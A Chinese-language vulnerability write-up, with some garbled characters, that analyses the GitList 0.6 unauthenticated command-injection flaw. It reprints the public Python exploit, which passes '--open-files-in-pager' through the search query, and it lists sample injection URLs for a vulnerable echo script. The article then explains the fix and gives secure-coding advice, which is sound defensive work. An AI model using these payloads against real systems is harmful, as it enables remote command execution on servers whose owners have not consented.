安全客 獨(dú)家發(fā)表本文沼撕,如需要轉(zhuǎn)載,請(qǐng)先聯(lián)系 安全客 授權(quán)愧薛;未經(jīng)授權(quán)請(qǐng)勿轉(zhuǎn)載砰左。
本文首發(fā)地址 : https://www.anquanke.com/post/id/146416
概要:
文章內(nèi)容如下:
- 安全公告 -> Exploit 應(yīng)該經(jīng)歷的步驟
- GitList 0.6 Unauthenticated RCE 分析
- 為何使用了 PHP escapeshellcmd / escapeshellarg 函數(shù),依然存在 RCE 漏洞
- GitList 的 $branch 參數(shù)是否可以再次命令注入睡榆?
- git grep 如何實(shí)現(xiàn)萍肆,是否也是調(diào)用了系統(tǒng)命令?
- 分析使用
--
修復(fù)該漏洞是否完善 - 安全開(kāi)發(fā)的一些建議
信息:
漏洞作者信息:
# Exploit Title: GitList 0.6 Unauthenticated RCE
# Date: 25-04-2018
# Software Link: https://github.com/klaussilveira/gitlist
# Exploit Author: Kacper Szurek
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# Category: remote
分析:
參考 EXP:
# 核心代碼如下:
import requests
host = 'localhost'
port = '80'
repo = 'gitlist'
branch = 'master'
command = 'id'
search_url = 'http://%s:%d/%s/tree/%s/search' % (host, port, repo, branch)
requests.post(
search_url,
data={
'query':'--open-files-in-pager=%s' % (command)
}
)
個(gè)人分析這些開(kāi)源項(xiàng)目 WEB 漏洞的經(jīng)驗(yàn)并不是很足, 總結(jié)一下并不算經(jīng)驗(yàn)的經(jīng)驗(yàn)
下圖為本文中要分析的 GitList 遠(yuǎn)程命令執(zhí)行漏洞套用在上圖中的執(zhí)行流程
本文接下來(lái)會(huì)按照上圖中的關(guān)鍵節(jié)點(diǎn)進(jìn)行分析:
安全公告:
Exploit 腳本:
關(guān)鍵字:
- 該項(xiàng)目 GitHub 倉(cāng)庫(kù)已經(jīng)對(duì)該漏洞進(jìn)行修復(fù)
https://github.com/klaussilveira/gitlist/commit/87b8c26b023c3fc37f0796b14bb13710f397b322
由此可知存在漏洞的文件為: src/Git/Repository.php
-
根據(jù) Exploit 中請(qǐng)求的 URL , 定位到文件
`
漏洞位置:
漏洞成因:
看到這個(gè)漏洞的利用方式, 讓我感覺(jué)到很奇怪的一點(diǎn)
代碼中明明已經(jīng)對(duì)傳入的參數(shù) $query
使用了 escapeshellarg
函數(shù)以確保安全性
為什么仍然可以被利用呢?
命令行的參數(shù)根據(jù)需求大致可以分為這幾種:
- 傳值類的參數(shù)
例如:php -r 'phpinfo();'
其中的-r
參數(shù)為傳值類型, 該參數(shù)后由${IFS}
分割, 之后的第一個(gè)參數(shù)為該參數(shù)的值 - 開(kāi)關(guān)類的參數(shù)
例如:ls -a
中的-a
即為開(kāi)關(guān)類型的參數(shù), 有這個(gè)參數(shù)則會(huì)顯示隱藏文件, 沒(méi)有則不顯示
該漏洞中被執(zhí)行的命令為:
git grep -i --line-number $query $branch
其中參數(shù): -i
為開(kāi)關(guān)類型的參數(shù), 而不是傳值類的參數(shù), 含義為是否大小寫(xiě)不敏感, 有該參數(shù)則忽略大小寫(xiě)進(jìn)行匹配, 以下為 man 手冊(cè)
-i, --ignore-case
Ignore case differences between the patterns and the files.
其中參數(shù): --line-number
為一個(gè)開(kāi)關(guān)類型的參數(shù), 而不是傳值類型的參數(shù), 有該參數(shù)則會(huì)在結(jié)果中顯示匹配行的行數(shù), 沒(méi)有則不顯示, 以下為 man 手冊(cè)
-n, --line-number
Prefix the line number to matching lines.
我們知道 php 的系統(tǒng)命令最終是調(diào)用 sh 這個(gè) shell 來(lái)執(zhí)行的
在 sh 下, 命令的參數(shù)有如下特點(diǎn):
- 如果某一個(gè)參數(shù)被單引號(hào)包裹, 那么 sh 在創(chuàng)建新進(jìn)程, 給新進(jìn)程的 main 函數(shù)傳遞參數(shù)之前, 是會(huì)把單引號(hào)去掉的
例如:
? ~ /bin/sh
$ cat main.py
#!/usr/bin/env python
# coding:utf-8
import sys
for i in sys.argv:
print i
$ python main.py --help
main.py
--help
$ python main.py '--help'
main.py
--help
$
而 PHP 的 escapeshellarg
的功能即為:
escapeshellarg()
adds single quotes around a string and quotes/escapes any existing single quotes allowing you to pass a string directly to a shell function and having it be treated as a single safe argument. This function should be used to escape individual arguments to shell functions coming from user input. The shell functions include exec(), system() and the backtick operator.
有一句比較重要的話是 having it be treated as a single safe argument
例如:
$ git grep -i --line-number '--open-files-in-pager=php -r "system(id);"' master
PHP Notice: Use of undefined constant id - assumed 'id' in Command line code on line 1
uid=500(ubuntu) gid=500(ubuntu) groups=500(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
$ git grep -i --line-number --open-files-in-pager=php -r "system(id);" master
error: unknown switch `r'
usage: git grep [<options>] [-e] <pattern> [<rev>...] [[--] <path>...]
上述代碼中, 第二條命令, 我們?cè)镜囊鈭D為:
想讓 git 認(rèn)為 --open-files-in-pager
這個(gè)參數(shù)的值 php -r "system(id);"
但是因?yàn)?sh 在解析命令的時(shí)候會(huì)使用 ${IFS}
來(lái)分隔參數(shù)
導(dǎo)致的結(jié)果為 php -r "system(id);"
中的 -r
被解析為 git-grep
的一個(gè)參數(shù) -r
事實(shí)上 git-grep
是沒(méi)有這個(gè)參數(shù)的... 因此命令不能得到執(zhí)行
實(shí)際上 --open-files-in-pager
的值變成了 php
, 而不是 php -r "system(id);"
而第一種, 則會(huì)正確執(zhí)行, 這和上述的 php escapeshellarg 文檔中的說(shuō)法一致, 只能解析一個(gè)參數(shù)
猜想 git 在實(shí)現(xiàn)參數(shù)解析的時(shí)候還會(huì)對(duì) sh 傳入的參數(shù)使用 =
進(jìn)行分隔, 得到鍵值對(duì), 之后的源碼分析也將會(huì)證實(shí)這一點(diǎn)
https://github.com/git/git/blob/26e47e261e969491ad4e3b6c298450c061749c9e/builtin/grep.c#L894
程序自己怎么對(duì)參數(shù)進(jìn)行處理是程序自己的事情, shell 所做的工作就是使用 ${IFS}
把用戶在 shell 中輸入的一個(gè)字符串分隔, 并進(jìn)行一些轉(zhuǎn)義的解碼, 然后傳遞給新的進(jìn)程的 char *argv[]
, 這個(gè)漏洞的問(wèn)題就在于 git-grep
這個(gè)命令是可以通過(guò)參數(shù)來(lái)指定顯示結(jié)果所使用的文本編輯器的: vi
/ less
, 但是并沒(méi)有將參數(shù)值限制在這兩個(gè)編輯器中, 這樣就給了我們執(zhí)行任意命令的余地
思考
下面的內(nèi)容大概分為幾個(gè)部分:
-
$branch
是否可以用來(lái)命令注入, 看起來(lái)似乎沒(méi)有被過(guò)濾 -
git-grep
命令是怎么實(shí)現(xiàn)的? 是通過(guò)原生的代碼實(shí)現(xiàn)正則引擎, 還是也是在內(nèi)部調(diào)用了grep
命令, 如果調(diào)用了 grep 命令, 那么是否有可能存在漏洞? - 類似的漏洞 CVE-2017-8386
- 是否有別的系統(tǒng)也存在類似的漏洞
- 安全開(kāi)發(fā)
一. $branch
是否可以用來(lái)命令注入
可以看到 GitList 使用了 Silex 進(jìn)行路由的控制:
https://github.com/silexphp/Silex
https://github.com/klaussilveira/gitlist/blob/master/src/Provider/ViewUtilServiceProvider.php#L6
跟進(jìn)代碼可以發(fā)現(xiàn)胀屿,$branch 這個(gè)參數(shù)是從 GET 參數(shù)中傳遞過(guò)來(lái)的
在 Silex
中塘揣,對(duì)參數(shù)的處理規(guī)則如下:
https://silex.symfony.com/doc/2.0/usage.html#route-variables
GitList 會(huì)調(diào)用 Escape.ArgumentEscaper.escape 來(lái)對(duì) $branch 進(jìn)行處理
這里對(duì) $branch 調(diào)用了 escapeshellcmd
PS: 這里其實(shí) $branch 是作為參數(shù)身份的... 但是卻調(diào)用了 escapeshellcmd 來(lái)對(duì)其進(jìn)行處理, 感覺(jué)有點(diǎn)奇怪
這個(gè)限制可以說(shuō)很死了,應(yīng)該不能再進(jìn)行利用了碉纳。
二. git-grep
命令是怎么實(shí)現(xiàn)的
之前在申請(qǐng) Google Summer of Code 項(xiàng)目的時(shí)候有關(guān)注過(guò) Git 這個(gè)項(xiàng)目, 其中有一個(gè) Idea 是將諸如 git-rebase 這樣的命令重新用 C 語(yǔ)言來(lái)實(shí)現(xiàn), 也就是目前暫時(shí)的實(shí)現(xiàn)是 bash 腳本
翻了一下 Git 的源碼, 找到 git-grep 命令的實(shí)現(xiàn)方式, 如下:
builtin/grep.c
int cmd_grep(int argc, const char **argv, const char *prefix)
該函數(shù)中最終調(diào)用了 execve 來(lái)執(zhí)行命令, 我們可以在這個(gè)函數(shù)執(zhí)行的時(shí)候, 將參數(shù)打印出來(lái)進(jìn)行觀察
struct child_process {
const char **argv;
struct argv_array args;
struct argv_array env_array;
pid_t pid;
/*
* Using .in, .out, .err:
* - Specify 0 for no redirections (child inherits stdin, stdout,
* stderr from parent).
* - Specify -1 to have a pipe allocated as follows:
* .in: returns the writable pipe end; parent writes to it,
* the readable pipe end becomes child's stdin
* .out, .err: returns the readable pipe end; parent reads from
* it, the writable pipe end becomes child's stdout/stderr
* The caller of start_command() must close the returned FDs
* after it has completed reading from/writing to it!
* - Specify > 0 to set a channel to a particular FD as follows:
* .in: a readable FD, becomes child's stdin
* .out: a writable FD, becomes child's stdout/stderr
* .err: a writable FD, becomes child's stderr
* The specified FD is closed by start_command(), even in case
* of errors!
*/
int in;
int out;
int err;
const char *dir;
const char *const *env;
unsigned no_stdin:1;
unsigned no_stdout:1;
unsigned no_stderr:1;
unsigned git_cmd:1; /* if this is to be git sub-command */
unsigned silent_exec_failure:1;
unsigned stdout_to_stderr:1;
unsigned use_shell:1;
unsigned clean_on_exit:1;
unsigned wait_after_clean:1;
void (*clean_on_exit_handler)(struct child_process *process);
void *clean_on_exit_handler_cbdata;
};
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
[Switching to Thread 0xb7dd2700 (LWP 12047)]
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x8379458 --> 0xbfffffdb ("COLUMNS=159")
ECX: 0xbfffe6bc --> 0x0
EDX: 0x0
ESI: 0x41 ('A')
EDI: 0xbfffe6bc --> 0x0
EBP: 0xb7dd26c0 --> 0x16
ESP: 0xbfffe5c0 --> 0xbfffe67c --> 0xffffffff
EIP: 0x817ba40 (<start_command+1776>: mov eax,DWORD PTR [esp+0x2c])
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x817ba35 <start_command+1765>: add esp,0x10
0x817ba38 <start_command+1768>: test eax,eax
0x817ba3a <start_command+1770>: jne 0x817c553 <start_command+4611>
=> 0x817ba40 <start_command+1776>: mov eax,DWORD PTR [esp+0x2c]
0x817ba44 <start_command+1780>: sub esp,0x4
0x817ba47 <start_command+1783>: push ebx
0x817ba48 <start_command+1784>: lea edx,[eax+0x4]
0x817ba4b <start_command+1787>: push edx
[------------------------------------stack-------------------------------------]
0000| 0xbfffe5c0 --> 0xbfffe67c --> 0xffffffff
0004| 0xbfffe5c4 --> 0xbfffe818 --> 0x836f038 --> 0x8361118 --> 0x8006469
0008| 0xbfffe5c8 --> 0xbfffe5ec --> 0x8376bd0 --> 0x83717f0 ("/bin/sh")
0012| 0xbfffe5cc --> 0xffffffff
0016| 0xbfffe5d0 --> 0x0
0020| 0xbfffe5d4 --> 0x0
0024| 0xbfffe5d8 --> 0x0
0028| 0xbfffe5dc --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Thread 3.1 "git" hit Breakpoint 3, start_command (cmd=0xbfffe818) at run-command.c:818
818 execve(argv.argv[1], (char *const *) argv.argv + 1,
gdb-peda$ p argv.argv[1]
$12 = 0x83793c8 "/usr/bin/id"
gdb-peda$ p argv.argv[2]
$13 = 0x8371878 ".gitmodules"
gdb-peda$ p argv.argv[3]
$14 = 0x8371888 "Documentation/Makefile"
最后只是通過(guò) exceve 執(zhí)行了 $pager 的命令
繼續(xù)看代碼發(fā)現(xiàn)了函數(shù):
static void compile_pcre1_regexp(struct grep_pat *p, const struct grep_opt *opt)
調(diào)用了 PCRE 這個(gè)正則庫(kù), 因此這里應(yīng)該不存在命令注入漏洞了
三. 類似的漏洞
參考 phith0n 的文章:
https://www.leavesongs.com/PENETRATION/git-shell-cve-2017-8386.html
其中使用到了命令 git-upload-archive
本地執(zhí)行發(fā)現(xiàn)該命令的 --help
這個(gè)命令最終是調(diào)用了 less
來(lái)展示幫助信息的
那么我們?cè)趺床拍馨l(fā)現(xiàn)所有的這種 --help
會(huì)執(zhí)行 less
命令的命令呢?
寫(xiě)一個(gè) shell 腳本試試
? /tmp for i in `ls /sbin/*`
do
$i --help && echo $i && sleep 3
done
目前已經(jīng)發(fā)現(xiàn)的命令如下:
/bin/bzless --help
/bin/journalctl --help
/bin/less --help
/bin/systemctl --help
/usr/bin/git-receive-pack --help
/usr/bin/git-upload-archive --help
/sbin/ifenslave --help
/sbin/ifenslave-2.6 --help
那么假設(shè)我們已經(jīng)可以通過(guò)某些手段可以控制上述命令的參數(shù)(非HTTP)那么我們就可以依托于 --help
調(diào)用了 less
勿负,再通過(guò) less
來(lái)執(zhí)行系統(tǒng)命令。
四. 是否有別的系統(tǒng)也存在類似的漏洞
測(cè)試系統(tǒng):
Codiad 無(wú)
五. 安全開(kāi)發(fā)
個(gè)人覺(jué)得這種注入的漏洞都是因?yàn)樵趦蓚€(gè)組件通信的過(guò)程中產(chǎn)生的,本質(zhì)上都是程序員預(yù)期執(zhí)行的操作和實(shí)際執(zhí)行的操作產(chǎn)生了差異奴愉,例如
- 命令注入琅摩,開(kāi)發(fā)者要執(zhí)行特定系統(tǒng)命令,必須把命令轉(zhuǎn)換成一個(gè)字符串锭硼,然后傳給執(zhí)行者(也就是 shell )房资,然后 shell 再解析,這個(gè)傳遞過(guò)程就可能會(huì)出現(xiàn)信息傳遞不對(duì)等的問(wèn)題檀头,就很容易造成實(shí)際執(zhí)行命令和預(yù)期執(zhí)行的產(chǎn)生差別
- sql注入:開(kāi)發(fā)者有和數(shù)據(jù)庫(kù)軟件通信的需求轰异,但是他無(wú)法直接操作數(shù)據(jù)庫(kù)軟件,只能通過(guò)數(shù)據(jù)庫(kù)軟件提供的api(也就是sql暑始,一個(gè)字符串)搭独,這樣就可能出現(xiàn)差別
程序員的意圖在這個(gè)轉(zhuǎn)化的過(guò)程中傳遞: - 需要先對(duì)意圖進(jìn)行表述,表述為一種統(tǒng)一的格式廊镜,在 命令執(zhí)行 和 sql 注入中都表述為了一個(gè)字符串
- 然后由執(zhí)行者解析牙肝,執(zhí)行系統(tǒng)命令或者 sql query
1 和 2 這兩個(gè)過(guò)程任意一個(gè)出現(xiàn)問(wèn)題就可能造成漏洞(或者bug)
例如 PHP 的這個(gè)pcntl_exec
函數(shù):
http://php.net/manual/en/function.pcntl-exec.php
該函數(shù)可以將命令的參數(shù)作為數(shù)組傳入, 這樣可以最大程度避免命令注入的問(wèn)題
例如如下幾種編程例子:
// Level 0: 小白程序員
<?php
$name = $_GET['name'];
system("echo $name");
// Hacker: 沒(méi)有任何過(guò)濾
http://127.0.0.1/index.php?name=evil | id
http://127.0.0.1/index.php?name=evil %0a id
http://127.0.0.1/index.php?name=evil & id
http://127.0.0.1/index.php?name=evil && id
http://127.0.0.1/index.php?name=`id`
http://127.0.0.1/index.php?name=$(id)
// Level 1: 初級(jí)程序員
<?php
$name = escapeshellarg($_GET['name']);
system("echo '$name'");
// Hacker: 雖然使用了 escapeshellarg, 但是用法錯(cuò)誤, 仍然可以逃逸
// 由于 escapeshellarg 這個(gè)函數(shù)會(huì)在字符串外部添加單引號(hào)包裹,因此當(dāng)參數(shù)被該函數(shù)處理過(guò)后嗤朴,直到執(zhí)行之前配椭,都不應(yīng)該再在外部出現(xiàn)不必要的單引號(hào)
// 因此這里如果用戶傳入的 name 為 `| id | echo `
// 那么被執(zhí)行的命令就是 echo ''| id | echo '' 被注入惡意命令
// Level 2: 中級(jí)程序員
<?php
$name = escapeshellarg($_GET['name']);
system(escapeshellcmd("echo ".$name));
// 參考文章: https://ferruh.mavituna.com/unix-command-injection-cheat-sheet-oku/
// 策略: escapeshellcmd 與 escapeshellarg 不可同時(shí)使用
// Level 3: 了解安全的程序員
<?php
$query = $_GET['query']; // $query = "--open-files-in-pager=w";
$branch = "master";
pcntl_exec(
"/usr/bin/git",
array("grep", "-i", "--line-number", $query, $branch),
array("PATH"=>"/usr/bin/")
);
// 這樣的寫(xiě)法一般情況下可以防止絕大多數(shù)的命令注入漏洞,但是在這個(gè)漏洞中也是有問(wèn)題的
// 因?yàn)檫@個(gè)漏洞命令注入的位置是在`傳值類的參數(shù)`的`值`的這個(gè)地方雹姊,只要用戶可以控制一對(duì)`參數(shù)`和`值`(注意這里說(shuō)的`一對(duì)`在 shell 看來(lái)其實(shí)是一個(gè)參數(shù)股缸,例如 `--open-files-in-pager=php`),那么就可以利用該漏洞
// 而上面的寫(xiě)法并不能防止這個(gè)問(wèn)題
根據(jù)上述 Level 3
吱雏,再來(lái)看看修復(fù)方案:
開(kāi)發(fā)者在參數(shù)中添加了 --
解決了這個(gè)問(wèn)題:
根據(jù)文章:https://www.gnu.org/software/bash/manual/bash.html#Shell-Builtin-Commands
A -- signals the end of options and disables further option processing.
Any arguments after the -- are treated as filenames and arguments.
可以得知:--
是 bash
的一個(gè)內(nèi)置功能
看到這里敦姻,腦海中冒出一個(gè)疑問(wèn),--
只是 shell (bash) 的一個(gè)功能嗎歧杏?應(yīng)用程序在實(shí)現(xiàn)的時(shí)候會(huì)不會(huì)處理這個(gè)參數(shù)呢替劈?
有兩種情況:
- bash 讀入一條命令,利用 ${IFS} 分割這個(gè)命令得滤,將其轉(zhuǎn)換為字符串?dāng)?shù)組,其中需要將
--
之后的字符串全部視為整個(gè)字符串傳入 exec 族的函數(shù) - bash 讀入一條命令盒犹,利用 ${IFS} 分割這個(gè)命令懂更,將其轉(zhuǎn)換為字符串?dāng)?shù)組,將這個(gè)字符串?dāng)?shù)組作為
char * argv[]
直接傳入 exec 族函數(shù)急膀,由于應(yīng)用程序?qū)?--
這個(gè)參數(shù)進(jìn)行處理
我們可以進(jìn)行以下測(cè)試:(由于 php 在執(zhí)行系統(tǒng)命令的時(shí)候調(diào)用了 sh 而不是 bash 沮协,因此直接使用 gdb 調(diào)試sh),sh 在執(zhí)行命令的時(shí)候使用系統(tǒng)調(diào)用 execve 來(lái)完成
http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
64 位系統(tǒng)調(diào)用參數(shù)傳遞方式為:
man syscall
The second table shows the registers used to pass the system call argu‐
ments.
arch/ABI arg1 arg2 arg3 arg4 arg5 arg6 arg7 Notes
──────────────────────────────────────────────────────────────
alpha a0 a1 a2 a3 a4 a5 -
arc r0 r1 r2 r3 r4 r5 -
arm/OABI a1 a2 a3 a4 v1 v2 v3
arm/EABI r0 r1 r2 r3 r4 r5 r6
arm64 x0 x1 x2 x3 x4 x5 -
blackfin R0 R1 R2 R3 R4 R5 -
i386 ebx ecx edx esi edi ebp -
ia64 out0 out1 out2 out3 out4 out5 -
m68k d1 d2 d3 d4 d5 a0 -
microblaze r5 r6 r7 r8 r9 r10 -
mips/o32 a0 a1 a2 a3 - - - [1]
mips/n32,64 a0 a1 a2 a3 a4 a5 -
nios2 r4 r5 r6 r7 r8 r9 -
parisc r26 r25 r24 r23 r22 r21 -
powerpc r3 r4 r5 r6 r7 r8 r9
s390 r2 r3 r4 r5 r6 r7 -
s390x r2 r3 r4 r5 r6 r7 -
superh r4 r5 r6 r7 r0 r1 r2
sparc/32 o0 o1 o2 o3 o4 o5 -
sparc/64 o0 o1 o2 o3 o4 o5 -
tile R00 R01 R02 R03 R04 R05 -
x86-64 rdi rsi rdx r10 r8 r9 -
x32 rdi rsi rdx r10 r8 r9 -
xtensa a6 a3 a4 a5 a8 a9 -
在調(diào)試器中直接打印 $rsi
sun@sun:~$ gdb -q
gdb-peda$ file sh
Reading symbols from sh...(no debugging symbols found)...done.
gdb-peda$ b execve
Breakpoint 1 at 0x4510
gdb-peda$ run -c 'ls -- -al'
Starting program: /bin/sh -c 'ls -- -al'
[New process 9252]
[Switching to process 9252]
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x5555557753f0 --> 0x736c2f6e69622f ('/bin/ls')
RCX: 0x5555557753f8 --> 0x6c2f6e0000736c00 ('')
RDX: 0x5555557751a8 --> 0x7fffffffefa8 ("LESSOPEN=| /usr/bin/lesspipe %s")
RSI: 0x555555773b90 --> 0x555555773b40 --> 0x736c ('ls')
RDI: 0x5555557753f0 --> 0x736c2f6e69622f ('/bin/ls')
RBP: 0x555555773b90 --> 0x555555773b40 --> 0x736c ('ls')
RSP: 0x7fffffffda18 --> 0x55555555ba4e (cmp rbx,r12)
RIP: 0x7ffff7ac8e30 (<execve>: mov eax,0x3b)
R8 : 0x7ffff7dcfc40 --> 0x0
R9 : 0x0
R10: 0x555555774010 --> 0x100000000
R11: 0x7ffff7b933c0 --> 0xfff074f0fff074e0
R12: 0x555555569f59 --> 0x68732f6e69622f ('/bin/sh')
R13: 0x5555557751a8 --> 0x7fffffffefa8 ("LESSOPEN=| /usr/bin/lesspipe %s")
R14: 0x7fffffffda20 --> 0x400
R15: 0x7fffffffeeb5 ("/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/home/sun/.rvm/bin:/home/sun/.rvm/bin")
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x7ffff7ac8e22 <__GI__exit+82>: mov DWORD PTR fs:[r9],eax
0x7ffff7ac8e26 <__GI__exit+86>: jmp 0x7ffff7ac8dfe <__GI__exit+46>
0x7ffff7ac8e28: nop DWORD PTR [rax+rax*1+0x0]
=> 0x7ffff7ac8e30 <execve>: mov eax,0x3b
0x7ffff7ac8e35 <execve+5>: syscall
0x7ffff7ac8e37 <execve+7>: cmp rax,0xfffffffffffff001
0x7ffff7ac8e3d <execve+13>: jae 0x7ffff7ac8e40 <execve+16>
0x7ffff7ac8e3f <execve+15>: ret
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffda18 --> 0x55555555ba4e (cmp rbx,r12)
0008| 0x7fffffffda20 --> 0x400
0016| 0x7fffffffda28 --> 0x7ffff7a7ccfd (<__GI___libc_realloc+205>: test rax,rax)
0024| 0x7fffffffda30 --> 0xb0
0032| 0x7fffffffda38 --> 0x7ffff7dcfc40 --> 0x0
0040| 0x7fffffffda40 --> 0xd0
0048| 0x7fffffffda48 --> 0x3f0
0056| 0x7fffffffda50 --> 0x555555773aa0 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Thread 2.1 "sh" hit Breakpoint 1, execve ()
at ../sysdeps/unix/syscall-template.S:78
78 ../sysdeps/unix/syscall-template.S: No such file or directory.
gdb-peda$ x /8x $rsi
0x555555773b90 <stackbase+240>: 0x0000555555773b40 0x0000555555773b58
0x555555773ba0 <stackbase+256>: 0x0000555555773b70 0x0000000000000000
0x555555773bb0 <stackbase+272>: 0x00007fffffffefa8 0x00007fffffffea4d
0x555555773bc0 <stackbase+288>: 0x00007fffffffeb0f 0x00007fffffffefdc
gdb-peda$ x /s 0x0000555555773b40
0x555555773b40 <stackbase+160>: "ls"
gdb-peda$ x /s 0x0000555555773b58
0x555555773b58 <stackbase+184>: "--"
gdb-peda$ x /s 0x0000555555773b70
0x555555773b70 <stackbase+208>: "-al"
從上述日志中卓嫂,我們可以的得出 sh
并不會(huì)對(duì) --
進(jìn)行處理慷暂,會(huì)將其直接傳入命令,是否支持 --
得看具體的應(yīng)用程序是否支持 --
來(lái)結(jié)束參數(shù)的輸入
也就是說(shuō)在這個(gè)漏洞的修復(fù)中,開(kāi)發(fā)者是查閱了 git 的文檔
https://git-scm.com/docs/git-grep
發(fā)現(xiàn) git 是支持使用 --
來(lái)結(jié)束參數(shù)的輸入的行瑞,才采取了這樣的措施來(lái)修復(fù)這個(gè)漏洞奸腺,那么如果 git 不支持 --
的話,就算添加了 --
也是沒(méi)有作用的
PS: 不過(guò)這個(gè) --
用來(lái)結(jié)束參數(shù)的輸入這個(gè)設(shè)定在絕大多數(shù) Unix 的程序中都被支持血久,可以算是一個(gè)“潛”規(guī)則吧突照。
關(guān)于開(kāi)發(fā)的啟示:
- 盡可能避免執(zhí)行系統(tǒng)命令來(lái)實(shí)現(xiàn)某些功能,除非該功能實(shí)現(xiàn)起來(lái)實(shí)在非常困難氧吐,否則首選使用腳本語(yǔ)言自己實(shí)現(xiàn)
- 在執(zhí)行系統(tǒng)命令的時(shí)候檢查用戶輸入?yún)?shù)(即可控部分)
- 使用
pcntl_exec
這類可以限制一次只執(zhí)行一條命令并且參數(shù)為數(shù)組傳入的函數(shù)而不是system
這種直接調(diào)用 sh 去執(zhí)行命令的函數(shù) - 在使用
pcntl_exec
之前也需要小心地檢查被執(zhí)行的命令是否存在執(zhí)行子命令的可能讹蘑,如果有則需要盡可能避免
搭建漏洞環(huán)境:
參考如下鏈接:
- https://www.sitepoint.com/installing-gitlist-for-local-repos/
- https://github.com/klaussilveira/gitlist#installation
參考文獻(xiàn):
-
代碼:
https://github.com/git/git/blob/26e47e261e969491ad4e3b6c298450c061749c9e/builtin/grep.c
-
分析文章
- https://www.leavesongs.com/PENETRATION/escapeshellarg-and-parameter-injection.html
- https://security.szurek.pl/exploit-bypass-php-escapeshellarg-escapeshellcmd.html
- https://chybeta.github.io/2018/04/30/GitList-0-6-Unauthenticated-RCE-%E5%88%86%E6%9E%90/
- http://hatriot.github.io/blog/2014/06/29/gitlist-rce/
-
POC
-
環(huán)境搭建
https://www.sitepoint.com/installing-gitlist-for-local-repos/
-
文檔
-
Git 漏洞
https://www.leavesongs.com/PENETRATION/git-shell-cve-2017-8386.html
-
其他參考文章
https://paper.seebug.org/164/
https://ferruh.mavituna.com/unix-command-injection-cheat-sheet-oku/
https://www.owasp.org/index.php/OS_Command_Injection_Defense_Cheat_Sheet
作者: 王一航
GitHub: https://github.com/WangYihang